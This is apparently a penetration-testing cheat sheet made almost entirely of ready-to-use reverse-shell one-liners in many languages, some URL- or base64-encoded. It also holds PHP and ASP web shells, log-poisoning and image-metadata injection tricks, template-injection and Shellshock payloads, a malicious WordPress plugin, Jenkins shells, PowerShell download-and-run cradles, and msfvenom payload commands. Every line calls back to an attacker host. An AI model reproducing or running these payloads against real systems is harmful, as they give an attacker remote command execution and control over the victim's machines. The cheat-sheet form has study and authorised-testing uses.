Reverse Shell

- Bash

TCP

```
bash -i >& /dev/tcp/192.168.1.2/443 0>&1

bash -l > /dev/tcp/192.168.1.2/443 0<&1 2>&1

sh -i 5<> /dev/tcp/192.168.1.2/443 0<&5 1>&5 2>&5

bash -c "bash -i >& /dev/tcp/192.168.1.2/443 0>&1"0<&196;exec 196<>/dev/tcp/192.16
8.1.2/443; sh <&196 >&196 2>&196

exec 5<>/dev/tcp/192.168.1.2/443;cat <&5 | while read line; do $line 2>&5 >&5; don
e
```

UDP

```
sh -i >& /dev/udp/192.168.1.2/443 0>&1
```

Bash URL Encoding

```
bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.1.2%2F443%200%3E%261%22
```

Netcat

Netcat Linux

```
nc -e /bin/sh 192.168.1.2 443

nc -e /bin/bash 192.168.1.2 443
```

```
nc -c /bin/sh 192.168.1.2 443

nc -c /bin/bash 192.168.1.2 443

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.2 443 >/tmp/f
```

Netcat Windows

```
nc.exe -e cmd 192.168.1.2 443

\\192.168.1.2\a\nc.exe -e cmd 192.168.1.2 443
```

Netcat URL Encoding

```
nc%20-e%20%2Fbin%2Fsh%20192.168.1.2%20443
```

```
rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3
E%261%7Cnc%20192.168.1.2%20443%20%3E%2Ftmp%2Ff
```

Netcat Base64 Encoding

```
echo "cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMTky
LjE2OC4xLjE4IDQ0MyA+L3RtcC9mCg==" | base64 -d | sh
```

---

cURL

```
root@kali:~# echo "nc -e /bin/sh 192.168.1.2 443" > index.html; python3 -m http.se
rver 80
root@kali:~# nc -lvnp 443
```

```
http://192.168.1.3/cmd.php?cmd=curl 192.168.1.2/index.html|sh
```

Wget

```
root@kali:~# echo "nc -e /bin/sh 192.168.1.2 443" > index.html; python3 -m http.se
rver 80
root@kali:~# nc -lvnp 443
```

```
http://192.168.1.3/cmd.php?cmd=wget -qO- 192.168.1.2/index.html|sh
```

WebShell

Exif Data

```
root@kali:~# exiftool -Comment='<?php system($_GET['cmd']); ?>' filename.png
root@kali:~# mv filename.png filename.php.png
```

ASP WebShell

```
<%response.write CreateObject("WScript.Shell").Exec(Request.QueryString("cmd")).St
dOut.Readall()%>
```

PHP WebShell

Basic

```
<?php system($_GET['cmd']); ?>
```

```
<?php passthru($_GET['cmd']); ?>
```

```
<?php echo exec($_GET['cmd']); ?>
```

```
<?php echo shell_exec($_GET['cmd']); ?>
```

Basic Proportions OK

```
<?php echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>"; ?>
```

Log Poisoning WebShell

Log Poisoning SSH

> /var/log/auth.log

```
ssh '<?php system($_GET['cmd']); ?>'@192.168.1.2
```

> /var/log/auth.log&cmd=id

Log Poisoning FTP

> /var/log/vsftpd.log

```
root@kali:~# ftp 192.168.1.3
Connected to 192.168.1.3.
220 (vsFTPd 3.0.3)
Name (192.168.1.2:kali): <?php system($_GET['cmd']); ?>
331 Please specify the password.
Password: <?php system($_GET['cmd']); ?>
530 Login incorrect.
Login failed.
ftp>
```

> /var/log/vsftpd.log&cmd=id

Log Poisoning HTTP

> /var/log/apache2/access.log
>
> /var/log/nginx/access.log

```
curl -s -H "User-Agent: <?php system(\$_GET['cmd']); ?>" "http://192.168.1.2"
```

```
User-Agent: <?php system($_GET['cmd']); ?>
```

> /var/log/apache2/access.log&cmd=id
>
> /var/log/nginx/access.log&cmd=id

Server Side Template Injection

```
{{request.application.__globals__.__builtins__.__import__('os').popen('nc -e /bin/
sh 192.168.1.2 443').read()}}
```

```
{{''.__class__.__mro__[1].__subclasses__()[373]("bash -c 'bash -i >& /dev/tcp/192.
168.1.2/443 0>&1'",shell=True,stdout=-1).communicate()[0].strip()}}
```

```
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__
%}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,
subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.
168.1.2\",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),
2);p=subprocess.call([\"/bin/bash\", \"-i\"]);'").read().zfill(417)}}{%endif%}{% e
ndfor %}
```

```
{% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/192.168.1.2/443 0>&1"')}}
```

```
%7B%25%20import%20os%20%25%7D%7B%7Bos.system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.1.2%2F443%200%3E%261%22%27%29%7D%7D
```

UnrealIRCd

```
root@kali:~# echo "AB;nc -e /bin/sh 192.168.1.2 443" |nc 192.168.1.3 6697
```

Exif Data Reverse Shell

```
root@kali:~# exiftool -Comment='<?php system("nc -e /bin/bash 192.168.1.2 443"); ?>' filename.png
root@kali:~# mv filename.png filename.php.png
```

Shellshock

Shellshock SSH

```
root@kali:~# ssh user@192.168.1.3 -i id_rsa '() { :;}; nc 192.168.1.2 443 -e /bin/bash'
```

Shellshock HTTP

```
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/192.168.1.2/443 0>&1' http://192.168.1.3/cgi-bin/test.sh
```

```
curl -H "User-Agent: () { :; }; /bin/bash -c 'bash -i >& /dev/tcp/192.168.1.2/443
 0>&1'" "http://192.168.1.3/cgi-bin/evil.sh"

curl -H "User-Agent: () { :; }; /bin/bash -c 'bash -i >& /dev/tcp/192.168.1.2/443
 0>&1'" "http://192.168.1.3/cgi-bin/evil.cgi"
```

Shellshock HTTP 500 Internal Server Error

```
curl -H "User-Agent: () { :; }; echo; /bin/bash -c 'bash -i >& /dev/tcp/192.168.1.
2/443 0>&1'" "http://192.168.1.3/cgi-bin/evil.sh"

curl -H "User-Agent: () { :; }; echo; echo; /bin/bash -c 'bash -i >& /dev/tcp/192.
168.1.2/443 0>&1'" "http://192.168.1.3/cgi-bin/evil.sh"

curl -H "User-Agent: () { :; }; echo; /bin/bash -c 'bash -i >& /dev/tcp/192.168.1.
2/443 0>&1'" "http://192.168.1.3/cgi-bin/evil.cgi"

curl -H "User-Agent: () { :; }; echo; echo; /bin/bash -c 'bash -i >& /dev/tcp/192.
168.1.2/443 0>&1'" "http://192.168.1.3/cgi-bin/evil.cgi"
```

CMS

WordPress

Plugin Reverse Shell

```
root@kali:~# nano plugin.php
```

```
<?php

/**
* Plugin Name: Shelly
* Plugin URI: http://localhost
* Description: Love Shelly
* Version: 1.0
* Author: d4t4s3c
* Author URI: https://github.com/d4t4s3c
*/

exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.2/443 0>&1'");
?>
```

```
root@kali:~# zip plugin.zip plugin.php
```

- Plugins
- Add New
- Upload Plugin
- Install Now
- Activate Plugin

October

```
function onstart(){
    exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.2/443 0>&1'");
}
```

Jenkins

Jenkins Windows

```
println "\\\\192.168.1.2\\a\\nc.exe -e cmd 192.168.1.2 443" .execute().text
```

```
String host="192.168.1.2";
int port=443;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new S
ocket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.get
InputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.
isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.w
rite(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();T
hread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.clo
se();
```

```
command = "powershell IEX (New-Object Net.WebClient).DownloadString('http://192.16
8.1.2:8000/reverse.ps1')"
println(command.execute().text)
```

Jenkins Linux

```
String host="192.168.1.2";
int port=443;
String cmd="bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new S
ocket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.get
InputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.
isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.w
rite(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();T
hread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.clo
se();
```

Perl

```
perl -e 'use Socket;$i="192.168.1.2";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotob
yname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open
(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
```

Python

```
export RHOST="192.168.1.2";export RPORT=443;python -c 'import sys,socket,os,pty;s=
socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2
(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
```

```
 python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK
_STREAM);s.connect(("192.168.1.2",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),
1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
```

Python3

```
#!/usr/bin/python3

import os
import socket
import subprocess
```

```
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.1.2",443))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
```

```
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK
_STREAM);s.connect(("192.168.1.2",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),
1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
```

PHP

```
<?php passthru("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.2
 443 >/tmp/f"); ?>
```

```
php -r '$sock=fsockopen("192.168.1.2",443);`/bin/sh -i <&3 >&3 2>&3`;'

php -r '$sock=fsockopen("192.168.1.2",443);exec("/bin/sh -i <&3 >&3 2>&3");'

php -r '$sock=fsockopen("192.168.1.2",443);system("/bin/sh -i <&3 >&3 2>&3");'

php -r '$sock=fsockopen("192.168.1.2",443);passthru("/bin/sh -i <&3 >&3 2>&3");'

php -r '$sock=fsockopen("192.168.1.2",443);popen("/bin/sh -i <&3 >&3 2>&3", "r");'

php -r '$sock=fsockopen("192.168.1.2",443);shell_exec("/bin/sh -i <&3 >&3 2>&3");'

php -r '$sock=fsockopen("192.168.1.2",443);$proc=proc_open("/bin/sh -i", array(0=>
$sock, 1=>$sock, 2=>$sock),$pipes);'
```

Ruby

```
ruby -rsocket -e'f=TCPSocket.open("192.168.1.2",443).to_i;exec sprintf("/bin/sh -i
<&%d >&%d 2>&%d",f,f,f)'

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.1.2","443");while(cmd=c.ge
ts);IO.popen(cmd,"r"){|io|c.print io.read}end'

ruby -rsocket -e 'c=TCPSocket.new("192.168.1.2","443");while(cmd=c.gets);IO.popen
(cmd,"r"){|io|c.print io.read}end'
```

Xterm

```
xterm -display 192.168.1.2:443
```

Ncat

TCP

```
ncat 192.168.1.2 443 -e /bin/bash

ncat 192.168.1.2 443 -e /bin/sh
```

UDP

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|ncat -u 192.168.1.2 443 >/tmp/f
```

Socat

```
socat TCP:192.168.1.2:443 EXEC:sh
```

```
socat TCP:192.168.1.2:443 EXEC:'bash -li',pty,stderr,setsid,sigint,sane
```

PowerShell

```
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Socket
s.TCPClient("192.168.1.2",443);$stream = $client.GetStream();[byte[]]$bytes = 0..6
```

```
5535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New
-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback =
 (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + ">
 ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendby
te,0,$sendbyte.Length);$stream.Flush()};$client.Close()

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.1.
2',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i =
 $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName Sys
tem.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-
String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.enc
oding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$s
tream.Flush()};$client.Close()"

powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.2:8000/
reverse.ps1')

C:\Windows\SysNative\WindowsPowerShell\v1.0\powershell.exe IEX(New-Object Net.WebC
lient).DownloadString('http://192.168.1.2/shell.ps1')

powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.16
8.1.2/powercat.ps1');powercat -c 192.168.1.2 -p 443 -e cmd"
```

Awk

```
awk 'BEGIN {s = "/inet/tcp/0/192.168.1.2/443"; while(42) { do{ printf "shell>" |&
 s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } }
while(c != "exit") close(s); }}' /dev/null
```

Gawk

```
gawk 'BEGIN {P=443;S="> ";H="192.168.1.2";V="/inet/tcp/0/"H"/"P;while(1){do{printf
S|&V;V|&getline c;if(c){while((c|&getline)>0)print $0|&V;close(c)}}while(c!="exi
t")close(V)}}'
```

Golang

```
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","19
2.168.1.2:443");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c
cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
```

Telnet

```
rm -f /tmp/p; mknod /tmp/p p && telnet 192.168.1.2 443 0/tmp/p
```

```
telnet 192.168.1.2 80 | /bin/bash | telnet 192.168.1.2 443
```

```
mknod a p && telnet 192.168.1.2 443 0<a | /bin/sh 1>a
```

```
TF=$(mktemp -u);mkfifo $TF && telnet 192.168.1.2 443 0<$TF | sh 1>$TF
```

Java

```
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.1.2/443;cat <&5 | while rea
d line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
```

Node

```
require('child_process').exec('bash -i >& /dev/tcp/192.168.1.2/443 0>&1');
```

Msfvenom

Web Payloads

PHP Payload

```
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f raw > rever
se.php
```

```
msfvenom -p php/reverse_php LHOST=192.168.1.2 LPORT=443 -f raw > reverse.php
```

War Payload

```
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f war > revers
e.war
```

JAR Payload

```
msfvenom -p java/shell_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f jar > reverse.ja
r
```

JSP Payload

```
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f raw > revers
e.jsp
```

ASPX Payload

```
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f aspx -o rever
se.aspx
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f aspx -o r
everse.aspx
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f asp
x -o reverse.aspx
```

Windows Payloads

Windows Listener Netcat

x86 - Shell

```
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f exe > revers
e.exe
```

x64 - Shell

```
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f exe > rev
erse.exe
```

Windows Listener Metasploit Multi Handler

x86 - Meterpreter

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=443 -f exe > r
everse.exe
```

x64 - Meterpreter

```
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=443 -f exe
> reverse.exe
```

x86 - Shell

```
msfvenom -p windows/shell/reverse_tcp LHOST=192.168.1.2 LPORT=443 -f exe > revers
e.exe
```

x64 - Shell

```
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.1.2 LPORT=443 -f exe > rev
erse.exe
```

Linux Payloads

Linux Listener Netcat

x86 - Shell

```
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f elf > rever
se.elf
```

x64 - Shell

```
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f elf > rever
se.elf
```

Linux Listener Metasploit Multi Handler

x86 - Meterpreter

```
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=443 -f elf >
reverse.elf
```

x64 - Meterpreter

```
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=443 -f elf >
reverse.elf
```

x86 - Shell

```
msfvenom -p linux/x86/shell/reverse_tcp LHOST=192.168.1.2 LPORT=443 -f elf > rever
se.elf
```

x64 - Shell

```
msfvenom -p linux/x64/shell/reverse_tcp LHOST=192.168.1.2 LPORT=443 -f elf > rever
se.elf
```